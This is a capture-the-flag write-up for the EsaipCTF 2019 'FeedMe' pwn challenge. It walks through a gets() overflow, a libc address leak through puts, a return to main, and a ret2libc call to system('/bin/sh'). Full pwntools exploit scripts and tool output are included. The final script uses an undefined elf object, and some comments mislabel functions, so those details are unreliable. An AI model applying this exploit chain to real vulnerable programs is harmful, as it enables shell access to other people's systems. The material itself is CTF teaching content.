Feed Me - Inde

EsaipCTF 2019 - Pwn (260 pts).

ESAIP 2019 - FeedMe

Challenge details

Event Challenge Category Points Solves
EsaipCTF 2019 FeedMe - Inde Pwn 260 ?

Challenge : feedme md5sum : 1055dc81795128d394d9f9781b2792b1 libc : libc.so.6 md5sum : 3c132d0d104e7df13fad7d8f39906957

TL;DR

In this challenge the goal was to perform a Ret2Libc, to do that you had to calculate the Libc base address and rexecute the main with a Ret2Main, the binary given was in x64 arch.

First : Recon

The code was containing 2 functions, IDA gave me the following code :

main

baby

There is a vulnerable gets in the baby function so we can perform a ROP by overflowing the size of the buffer. Since there is a puts we can easily leak an address from the Libc.

Leak

To perform the leak, I need to call puts and give him as an arguments the GOT address of a Libc function, here we have 2 functions puts and gets.

In x64 we need to give the arguments by setting registers (in order arg1 is rdi, arg2 is rsi, arg3 is rdx). To give gets pointer to puts I first need to find a pop rdi; ret gadget.

Let’s fire up ROPGadget:

ROPGadget --binary feedme | grep "pop rdi"
0x000000000040124b : pop rdi ; ret

Now I need to calculate the padding to fill before setting my ROP, you can see here that the char v1 is 0x80 long.

https://imgur.com/cU576VX.png

No I have all I need for my getts so let’s build the following payload :


I have now the following script that return puts address in Libc :

from pwn import *


padding = 128

#p = remote("172.16.128.39",31333)

elf =  ELF("feedme")
p = process("feedme")
print(p.pid)
p.recv()
#raw_input()

# Stage 1 leak

# 0x000000000040124b -- pop rdi
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x40124b) # pop rdi
ROP += p64(elf.got.gets)       # got getss address
ROP += p64(elf.plt.puts)       # puts 

p.sendline(ROP)
print(p.recvline())
gets_addr = u64(p.recvuntil("Feed").split("\n")[1].ljust(8,"\x00"))
print("[+] gets @ "+hex(gets_addr))

Ret2Libc

Now that we have a leak, the programm crash after that, we need a way to perform the same operation again to write our ROP.

To do that I just added a Ret2Main to the payload before :

# 0x000000000040124b -- pop rdi
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x40124b) # pop rdi
ROP += p64(elf.got.gets)       # got getss address
ROP += p64(elf.plt.puts)       # puts 
ROP += p64(0x4011c7) # main

Now we need to calculate system address and bin_sh address in Libc. The challenge creator gave us the libc so we just need to find the offset of gets,system and bin_sh, lets fire up radare2.

r2 libc_3c132d0d104e7df13fad7d8f39906957.so.6 
[0x00021fd0]> aa
[0x00021fd0]> afl~system
0x00041af0   68 45   -> 1189 sym.__libc_system
[0x00021fd0]> afl~gets
0x0006d960   28 373  -> 359  sym.gets
[0x00021fd0]> izzq~/bin/sh
0x17699e 8 7 /bin/sh

So we have :

system at libc_base + 0x00041af0 gets at libc_base + 0x0006d960 str_bin_sh at libc_base + 0x17699e

To calculate the libc_base we only need to substract the gets offset to the gets address we previously leaked.

It gives us the following code :

offset_gets = 0x6d960
system_offset = 0x41af0
sh = 0x17699e

libc_base = gets_addr - offset_gets
system_addr = libc_base + system_offset
sh_addr = libc_base + sh

print("[+] system @"+hex(system_addr))
print("[+] sh @"+hex(sh_addr))

No we need to perform the Ret2Libc, use the same vulnerability we used to leak gets address but this time we call system.


We end up with the following script :

from pwn import *


padding = 128
#elf =  ELF("chall")
#p = remote("172.16.128.39",31333)

p = process("chall")
print(p.pid)
p.recv()
raw_input()

# Stage 1 leak

# 0x000000000040124b -- pop rdi
ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x000000000040124b) # pop rdi
ROP += p64(elf.got.gets)       # got puts address
ROP += p64(elf.plt.puts)       # puts
ROP += p64(0x4011c7) # main 

p.sendline(ROP)
print(p.recvline())
gets_addr = u64(p.recvuntil("Feed").split("\n")[1].ljust(8,"\x00"))
print("[+] gets @ "+hex(gets_addr))


offset_gets = 0x6d960
system_offset = 0x41af0
sh = 0x17699e

libc_base = gets_addr - offset_gets
system_addr = libc_base + system_offset
sh_addr = libc_base + sh

print("[+] system @"+hex(system_addr))
print("[+] sh @"+hex(sh_addr))

print(p.recv())

ROP = padding * "A"
ROP += "A"*8
ROP += p64(0x000000000040124b) # pop rdi
ROP += p64(sh_addr)       # got puts address
ROP += p64(system_addr)       # puts

p.sendline(ROP)
p.interactive()

Areizen